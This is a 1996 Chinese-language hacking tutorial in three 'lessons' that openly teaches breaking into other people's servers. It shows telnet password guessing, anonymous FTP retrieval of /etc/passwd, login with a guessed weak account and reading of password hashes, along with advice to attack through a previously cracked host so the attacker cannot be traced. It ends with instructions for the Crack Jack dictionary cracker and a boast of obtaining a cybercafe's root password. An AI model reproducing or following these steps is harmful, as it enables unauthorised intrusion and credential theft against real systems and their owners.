如何破解系统(一) |
-*-*-*-*-*-*-*-*-*-*-*-*--*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- How 1. 进入主机有好几种方式, 可以经由 Telnet (Port 23) 或 SendMail (Port 25) 或 FTP 或 WWW (Port 80) 的方式进入, 一台主机虽然只有一个位址, 但是它可能 同时进行多项服务, 所以如果你只是要 "进入" 该主机, 这些 Port 都是很好的进 行方向. 当然还有很多 Port, 但是 DayTime 的 Port 你能拿它作甚麽??? 我不知 道, 你知道吗?! 底下的示范并不是像写出来的那麽容易, 只不过是要让你了解如何进入, 当然其 中还有很多问题, 如打错指令...... 等等的毛病... 没有出现在课堂上, 但是我为了 面子.... 一定要删掉这些不堪入目的东西嘛... 示范进入主机的方法: (By CoolFire) (首先要先连上某一台你已经有帐号的 Telnet 主机, 当然最好是假的, 也就是 Crack 过的主机, 然後利用它来 Crack 别的主机, 才不会被别人以逆流法查出你的所在) Digital UNIX (ms.hinet.net) (ttypa) login: FakeName Password: Last login: Mon Dec 2 03:24:00 from 255.255.0.0 (我用的是 ms.hinet.net ... 当然是假的罗, 都已经经过修改了啦 !! 没有这一台主机啦 !! 别怕 ! 别怕 ! 以下的主机名称都是假的名 称, 请同学们要记得 !!) Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996 Digital UNIX V1.2C Worksystem Software (Rev. 248) Digital UNIX Chinese Support V1.2C (rev. 3) (嗯... 进来了 ! 开始攻击吧 ! 本次的目标是......) ms.hinet.net> telnet www.fuckyou.hinet.net (Telnet 试试看....) Trying 111.222.255.255... Connected to cool.fuckyou.hinet.net. Escape character is '^]'. Password: Login incorrect (没关系, 再来 !!) cool login: hinet Password: Login incorrect cool login: (都没猜对, 这边用的是 猜 的方法, 今天运气好像不好) telnet> close Connection closed. (重来, 换个 Port 试试看 !!) ms.hinet.net> telnet 111.222.255.255 80 Trying 111.222.255.255... Connected to 111.222.255.255. Escape character is '^]'. <HTML> <HEAD> <TITLE>Error</TITLE> </HEAD> <BODY> <H1>Error 400</H1> Invalid request "" (unknown method) <P><HR><ADDRESS><A HREF="http://www.w3.org">CERN-HTTPD 3.0A</A></ADDRESS> </BODY> </HTML> Connection closed by foreign host. (哇哩 !! 连密码都没得输入, 真是..... 再来 !! 要有恒心 !!) (换 FTP Port 试试) ms.hinet.net> ftp 111.222.255.255 Connected to 111.222.255.255. 220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready. Name (111.222.255.255:FakeName): anonymous 331 Guest login ok, send your complete e-mail address as password. Password: 230-Welcome, archive user! This is an experimental FTP server. If have any 230-unusual problems, please report them via e-mail to root@cool.com 230-If you do have problems, please try using a dash (-) as the first character 230-of your password -- this will turn off the continuation messages that may 230-be confusing your ftp client. 230- 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. (哇 ! 可以用 anonymous 进来耶!! password 部份输入 aaa@ 就好了 ! 不要留下足迹喔!!) ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for file list. etc pub usr bin lib incoming welcome.msg 226 Transfer complete. (嗯嗯... 太好了 ! 进来了 !! 下一个目标是.....) ftp> cd etc 250 CWD command successful. ftp> get passwd (抓回来 !!) 200 PORT command successful. 150 Opening BINARY mode data connection for passwd (566 bytes). 226 Transfer complete. 566 bytes received in 0.56 seconds (0.93 Kbytes/s) (喔... 这麽容易吗??) ftp> !cat passwd (看看 !!!) root::0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/var/spool/news: uucp:*:10:14:uucp:/var/spool/uucp: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash ftp:*:404:1::/home/ftp:/bin/bash (哇哩... 是 Shadow 的... 真是出师不利.... ) ftp> bye 221 Goodbye. (不信邪.... 还是老话, 要有恒心....) (FTP 不行, 再 Telnet 看看 !!) ms.hinet.net> telnet www.fuckyou.hinet.net Trying 111.222.255.255... Connected to cool.fuckyou.hinet.net. Escape character is '^]'. Password: Login incorrect (又猜错 !!) cool login: fuckyou Password: Last login: Mon Dec 2 09:20:07 from 205.11.122.12 Linux 1.2.13. Some programming languages manage to absorb change but withstand progress. cool:~$ (哇哈哈 !! 哪个笨 root, 用 system name 作 username 连 password 也是 system name.... 总算... 没白玩...) cool:~$ system bash: system: command not found (嗯... 这个 user 的权限好像不大....) cool:~$ ls cool:~$ pwd /home/fuckyou cool:~$ cd / cool:/$ ls Public/ cdrom/ lib/ mnt/ tmp/ www/ README dev/ linux* proc/ usr/ bin/ etc/ local/ root/ var/ boot/ home/ lost+found/ sbin/ cool:/$ cd etc telnet> quit (好想睡呀 !! 不玩了 !! 下节课再开始....) Connection closed. ms.hinet.net> exit (走了 !! 下节课在见啦 !! 今天就上到这里 ! 老师要先下班了 !!) (有学生说: 骗人! 还没有破解呀!! 胡说 ! 不是已经进来了吗 ??? 看看这节课上的是甚麽??? ---->进入主机 !! 嗯.....) -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- How 2. 上节课抓回来一个 "乱七八糟" 的 /etc/passwd, 你以为我的真那麽笨吗?? guest 所 抓回来的能是甚麽好东西?? 所以这一节课继续上次的攻击行动. 上节课我们已 经 "猜" 到了一个不是 guest 的 username 及 password. 今天就以它来进入主机瞧瞧 !! Digital UNIX (ms.hinet.net) (ttypa) login: FakeName Password: Last login: Mon Dec 2 03:24:00 from 255.255.0.0 Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996 Digital UNIX V1.2C Worksystem Software (Rev. 248) Digital UNIX Chinese Support V1.2C (rev. 3) (嗯... 进来了 ! 开始攻击吧 ! 本次的目标是.....呵...) ms.hinet.net> telnet cool.fuckyou.hinet.net (Telnet 试试看.... 昨天的位址, 有作笔记吧!) stsvr.showtower.com.tw> telnet cool.fuckyou.hinet.net Trying 111.222.255.255... Connected to cool.fuckyou.hinet.net. Escape character is '^]'. Password: Login incorrect cool login: fuckyou Password: (一样输入 fuckyou) Last login: Mon Dec 1 12:44:10 from ms.hinet.net Linux 1.2.13. cool:~$ cd /etc cool:/etc$ ls DIR_COLORS ftpusers localtime resolv.conf HOSTNAME gateways magic rpc NETWORKING group mail.rc securetty NNTP_INEWS_DOMAIN host.conf motd sendmail.cf X11@ hosts messages/ sendmail.st XF86Config hosts.allow mtab services at.deny hosts.deny mtools shells bootptab hosts.equiv named.boot shutdownp csh.cshrc hosts.lpd networks snoopy/ csh.login httpd.conf nntpserver slip.hosts exports inetd.conf passwd snooptab fastboot inittab passwd.OLD syslog.conf fdprm issue passwd.old syslog.pid fstab ld.so.cache printcap ttys ftpaccess ld.so.conf profile utmp@ (找寻目标..... 太乱了 ! 懒得找, 再来 ....) cool:/etc$ ls pa* passwd passwd.OLD passwd.old (果然在) cool:/etc$ more passwd (看看有没有 Shadow...) root:acqQkJ2LoYp:0:0:root:/root:/bin/bash john:234ab56:9999:13:John Smith:/home/john:/bin/john (正点 ! 一点都没有防备 !!) cool:/etc$ exit logout (走了!.... 换 FTP 上场 !!) Connection closed by foreign host. ms.hinet.net> ftp www.fuckyou.hinet.net Connected to cool.fuckyou.hinet.net. 220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready. Name (www.fuckyou.hinet.net:66126): fuckyou 331 Password required for fuckyou. Password: 230 User fuckyou logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd /etc 250 CWD command successful. ftp> get passwd 200 PORT command successful. 150 Opening BINARY mode data connection for passwd (350 bytes). 226 Transfer complete. 350 bytes received in 0.68 seconds (1.9 Kbytes/s) ftp> !cat passwd root:acqQkJ2LoYp:0:0:root:/root:/bin/bash john:234ab56:9999:13:John Smith:/home/john:/bin/john (看看 ! 呵 ! 假不了 !!......) ftp> bye 221 Goodbye. ms.hinet.net> exit (闪人罗 !! 下课 !!.... 喔慢点, 还有事要说明......) passwd 的 Shadow 就是把 passwd 放在 shadow 档中, 而你原先在第一节课 所看到的这个格式的 passwd 并不是真正的 passwd.... root::0:0:root:/root:/bin/bash 因为密码的部份没有东西.... 所以拿了也没有用 !! 但这一节课所拿到的东西呢, 像是这样, 有几点需要说明的, 就是它究竟代表著甚麽??? john:234ab56:9999:13:John Smith:/home/john:/bin/sh 它以 ":" 分成几个栏位, 各栏位对照如下: User Name: john Password:234ab56 User No: 9999 Group No: 13 Real Name: John Smith Home Dir: /home/john Shell: /bin/sh 了了吧 ! 了了吧 ! 保留著你千辛万苦所拿到的 passwd, 咱们第三节 课再来告诉各位如何使用 Crack Jack 把 passwd 解码.... 呵呵... zzZZzZzz... -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- Crack Jack V1.4 中文使用说明 (By CoolFire 12-1-1996) 嗯... 该到第三课了 !! 累了的同学先去喝口水吧! 这一节课咱们来说说 Crack Jack ! 这可是个解读 /etc/passwd 的好工具喔, 不要告诉我你习惯用 Brute, 拿 Brute 跟 Crack Jack 的速度比比看, 包准你马上投向 Crack Jack 1.4 的怀抱, 但请 先确定你所使用的是 Crack Jack 1.4, 你可以在 CoolFire 的 Hacker&Mailer Page 中拿到这个版 本的 Crack Jack ! 这才是真正有用的版本, 速度... 对... 就是这点别人都比不上 ! 但还是要讲 讲它的缺点... 就是只能在 DOS 跟 OS2 中跑, 如果在 Windoz 95 上开个 DOS Mode 跑, 它可是连 理都不会理你的 ! OK! 现在切入正题 ! etc/passwd 拿到手了吧 !! 开始罗 !! 使用 Crack Jack 1.4 前所需要的东 西有这些 [1] Crack Jack 1.4 (废话...$%^&@@) [2] /etc/passwd 档案, 你可以在 Unix 系统中 的 /etc/ 目录中找到 passwd [3] 字典档 (哪里找, 自己敲... 呵 ClayMore 中有一份 DIC.TXT 是有一千多个字的字典, 但比起我的字典可就小巫见大巫了, LetMeIn! 1.0 里面也有, 听 James 说 2.0 Release 的时候会有更棒的字典档含入, 期待吧!).... 使用 Crack Jack 1.4 前需先确 定你所使用的机器是 386 含以上 CPU 的 ! 然後最好有充足的记忆体 !! 开始 Jack 时只要敲入 JACK 即可, 它会问你 PW Name... 输入你的 passwd 档名, Dictionary Name 输入你的字典档名, Jack 就会开始找了 ! 找到时会告诉你, 也会在 JACK.POT 中写入它所 找到的密码 !! 但... 有点怪的格式! 如果找到的是具 root 权限的密码, Jack 会告诉你 This is JackAss... 嗯...说脏话了 !! 因为使用 Jack 占用的时间实在太多, 如果你中途想要停掉时只要 按下 Ctrl-C 即可, 别以为你前功尽弃了! 因为 Jack 有个 Restore 的功能, 中断时会自动存档 为 RESTORE, 下次要继续这次的寻找只要输入 Jack -Restore:RESTORE 即可 !! 当然你也可以为 你的 Restore 重新命名 ! Jack 也会找得到的 ... 如 Ren restore restore.HNT 之後要再寻找 的时後就 Jack -Restore:RESTORE.HNT 即可... Jack 会很自动的 Restore 前次所寻找的字串... 继续帮你找下去.... 字典档哪里找: 我的不给你! 可以找别的 Brute Force 之类的程式, 有些里面会附, 或是找找其它 的 Hacker 地下站看看有没有, 自己编一个, 或找个英汉字典软体将字典的部份解出来, 可能要有 一点资料栏位及写程式的基础. [这一节课没有范例] 成功的案例: 找到过某家网路咖啡店的 root 权限密码 ! Jack 好正点呀 !!! 所花的时间: 20 分钟左右... 但也有找了一两天也找不到的..... 呜... 骇客们! 加油吧 !! |